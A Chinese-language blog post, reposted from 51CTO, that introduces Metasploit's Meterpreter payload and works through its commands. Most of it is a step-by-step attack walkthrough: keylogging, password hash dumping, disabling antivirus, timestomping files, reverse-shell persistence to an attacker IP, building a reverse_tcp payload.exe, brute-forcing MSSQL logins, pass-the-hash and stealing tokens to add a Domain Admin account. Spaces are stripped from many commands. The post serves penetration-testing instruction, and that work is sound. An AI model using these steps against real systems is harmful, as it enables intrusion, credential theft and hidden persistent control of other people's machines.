Metasploit是Windows系統下的ShellCode—meterpreter!
MetasploitFramework是一個緩沖區溢出測試使用的輔助工具,也可以說是一個漏洞利用和測試平台,它內建了各種平台上常見的溢出漏洞和流行的shellcode,并且不斷更新,使得緩沖區溢出測試變的友善和簡單。
exploit是指“漏洞及其利用”,其利用一切可以利用的工具、采取一切可以采取的方法、找到一切可以找到的漏洞。并且對漏洞資料的分析研究,達到某些目的。
metasploit工具的首頁是http://www.measoloit.com
在Backtrack5裡面自帶的溢出工具内,在得到溢出的結果後,我們都可以在進行溢出連接配接時得到一個meterpreter的會話
<a href="http://blog.51cto.com/attachment/201309/113034514.jpg" target="_blank"></a>
Meterpreter的特征
meterpreter是metasploit架構中的一個擴充子產品,作為溢出成功以後的攻擊載荷使用,攻擊載荷在溢出攻擊成功以後給我們傳回一個控制通道。使用它作為攻擊載荷能夠獲得目标系統的一個meterpretershell的連結。
meterpretershell作為滲透子產品有很多有用的功能,比如添加一個使用者、隐藏一些東西、打開shell、得到使用者密碼、上傳下載下傳遠端主機的檔案、運作cmd.exe、捕捉螢幕、得到遠端控制權、捕獲按鍵資訊、清除應用程式、顯示遠端主機的系統資訊、顯示遠端機器的網絡接口和IP位址等資訊
另外meterpreter能夠躲避入侵檢測系統。在遠端主機上隐藏自己,它不改變系統硬碟中的檔案,是以HIDS[基于主機的入侵檢測系統]很難對它做出響應。此外它在運作的時候系統時間是變化的,是以跟蹤它或者終止它對于一個有經驗的人也會變得非常困難。
最後,meterpreter還可以簡化任務建立多個會話。可以來利用這些會話進行滲透。
meterpreter工作的好處:
1、不建立程序(使用的記憶體注入方式)
2、meterpreter是一個解釋器加載各種攻擊指令
3、工作在被攻擊程序的上下文中
4、通信是加密的(TLV協定),可以躲避IDS
5、沒有硬碟寫入操作
6、使用的通信方式是信道模式,可以同時和幾個信道工作,支援多信道
7、支援擴充編寫
meterpreter工作過程:
1、漏洞的利用代碼+第一階段的攻擊載荷
2、攻擊載荷反向連接配接到msf
3、發送第二階段的攻擊載荷
dMSF發送meterpreter伺服器dll
4、用戶端和伺服器進行通信
常用的系統指令:
background把目前的會話設定為背景,需要的時候在啟用
getuid檢視對方正在運作的使用者
ps列出所有的程序
getpid傳回運作meterpreter的id号
sysinfo産看系統資訊和體系結構
shell切換到cmd的系統權限方式
exit退出shell會話傳回meterpreter或終止meterpreter
程序遷移和提權:
getsystem會自動利用各種各樣的系統漏洞來進行權限提升
migrate程序id程序遷移
和目标建立多重通信的信道:
excute用來啟用多重通信信道
excute-fexploit.exe-c
channel-l列出可用通信信道
interact和信道進行互動(獲得cmd)
write3向信道寫入資料,以‘.’結束
常用的檔案系統的指令:
pwd産看目前所在的工作目錄
cd切換到想要的工作目錄
search-f*.dof-dc:\搜尋檔案
download支援檔案下載下傳
downloadc:\a.doc/root下載下傳到本地的root目錄
upload/root/mm.exec:\sys.exe上傳到遠端主機
timestomp更改檔案屬性
timestompc:/a.doc-v檢視檔案的時間資訊。
timestompc:/a.doc-c"9/23/201314:22:11"修改檔案的建立時間
-m,-a檔案的修改時間和最後一次通路的時間。
-z修改所有時間,盡量不要用。
-v檢視
常用的網絡指令:
ipconfig檢視ip配置
route顯示路由表,也可以配置ip位址。和linux方法一樣
routeaddip位址掩碼網關
portfwd做端口轉發的時候用的
portfwd-a-L127.0.0.1-l888-h7.6.5.4-p5631
-a添加一個新的轉發規則
-L目标主機的IP位址
連結127.0.0.1的888端口,會被轉發到7.6.5.4的5631端口
enumdesktops是列出所有可通路的桌面
getdesktop傳回使用者的桌面
setdesktop設定到某個會話的桌面
keyscan_start安裝鍵盤竊聽器
keyscan_dump導出活躍桌面的鍵盤記錄
關于windows的桌面的編号0控制台12其他會話或遠端登陸。
Meterpreter腳本:
使用runscriptname方式執行
①vnc腳本,擷取遠端機器vnc界面控制
meterpreter>runvnc
meterpreter>runscreen_unlock
②程序遷移
當攻擊成功後将連接配接程序從不穩定程序(如使用浏覽器溢出漏洞exp進行攻擊時浏覽器
可能會被目标關閉)遷移至穩定程序(explorer.exe),保持可連接配接。
例子:
meterpreter>runpost/windows/manage/migrate
(在64位win7中migrate需要管理者權限執行後門才能成功,而migrate前後擷取的
權限是有差異的。)
③關閉防毒軟體
meterpreter>runkillav(這個腳本要小心使用,可能導緻目标機器藍屏當機。)
④擷取系統密碼hash
meterpreter>runhashdump
(64位win7下需要管理者權限執行後門且先getsystem,然後使用
runpost/windows/gather/hashdump來dumphash成功率更高。
而且如果要使用shell添加系統賬戶的話win7下得先:
runpost/windows/escalate/bypassuac,不然可能不會成功。)
⑤擷取系統流量資料
meterpreter>runpacktrecorder–i1
⑥直搗黃龍
可以幹很多事情:擷取密碼,下載下傳系統資料庫,擷取系統資訊等
meterpreter>runscraper
⑦持久保持
當目标機器重新開機之後仍然可以控制
meterpreter>runpersistence–X–i50–p443–r192.168.1.111
-X開機啟動-i連接配接逾時時間–p端口–rIP
下次連接配接時:
msf>usemulti/handler
setpayloadwindows/meterpreter/reverse_tcp
setLPOST443
setLHOST192.168.1.111
exploit
(會在以下位置和系統資料庫以随機檔案名寫入檔案等資訊,如:
C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs
C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)
⑧POST整合子產品
可實作同時多個session操作
例子:擷取hash
meterpreter>runpost/windows/gather/hashdump
其他還有很多,使用TAB鍵補全看下就知道runpost/<TAB>
<a href="http://blog.51cto.com/attachment/201309/112651101.jpg" target="_blank"></a>
當對目标系統進行溢出時,使用meterpreter作為payload,給測試者傳回一個shell,可用于在目标機器上執行更多的操作。
msf>nmap–sT–A–P0192.168.1.130#探測開放服務
假如已經探測到1433(TCP)和1434(UDP)端口(mssql),
msf>nmap–sU192.168.1.130–P1434#确認端口開放
msf>useauxiliary/scanner/mssql/mssql_ping
showoptions
setRHOSTS192.168.1.1/24
setTHREADS20
至此可擷取伺服器名稱,版本号等資訊。
msf>useauxiliary/scanner/mssql/mssql_login
setPASS_FILE/pentest/exploits/fasttrack/bin/dict/wordlist.txt
setRHOSTS192.168.1.130
setTHREADS10
setverbosefalse
暴力猜解登陸密碼。接下來使用mssql自帶的xp_cmdshell功能添加賬戶:
msf>useexploit/windows/mssql/mssql_payload
setLPORT433
setRHOST192.168.1.130
setPASSWORDpassword130
當擷取到一個meterpretershell後可以執行更多的操作:
擷取螢幕截圖:screenshot
擷取系統資訊:sysinfo
擷取鍵盤記錄:
meterpreter>ps#檢視目标機器程序,假設發現explorer.exe的程序号為1668:
meterpreter>migrate1668#插入該程序
meterpreter>runpost/windows/capture/keylog_recorder#運作鍵盤記錄子產品,将擊鍵記錄儲存到本地txt
cat/root/.msf3/loot/*****.txt#檢視結果
擷取系統賬号密碼:
meterpreter>usepriv
當擷取到密碼的hash之後無法破解出明文密碼且無法直接使用hash登陸,需要使用
pass-the-hash技術:
msf>usewindows/smb/psexec
setPAYLOADwindows/meterpreter/reverse_tcp
setLPORT443
setSMBPassaad
3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
擷取到系統權限後我們可以建立一個普通賬号,然後使用此賬号執行我們的後門:
在目标機器上執行:netuaerhackerpass/add
本地生成一個後門程式:
msfpayloadwindows/meterpreter/reverse_tcp
LHOST=192.168.1.111
LPORT=443X>payload.exe
将payload.exe拷貝到目标機器然後使用建立立的賬号執行
本地執行端口監聽,等待來自目标機器連接配接:
msfclimulti/handlerPAYLOAD=windows/meterpreter/reverse_tcp
LPORT=443
usepriv
getsystem
getuid
至此取得SYSTEM權限
令牌模拟:當有域控賬戶登陸至伺服器時可使用令牌模拟進行滲透取得域控權限,之後
登陸其他機器時不需要登陸密碼。
meterpreter>ps#檢視目标機器程序,找出域控賬戶運作的程序ID,假如發現PID為380
meterpreter>steal_token380
有時ps指令列出的程序中可能不存在域控賬戶的程序,此時使用incognito子產品檢視可
用token:
meterpreter>useincognito
meterpreter>list_tokens–u#列出可用token,假如找到域控token
meterpreter>impersonate_tokenSNEAKS.IN\\ihazdomainadmin
meterpreter>add_userhackerpassword–h192.168.1.50#在域控主機上添加賬戶
meterpreter>add_group_user“DomainAdmins”hacker–h192.168.1.50#将賬戶添加至
域管理者組
本文轉自Tar0 51CTO部落格,原文連結:http://blog.51cto.com/tar0cissp/1303733,如需轉載請自行聯系原作者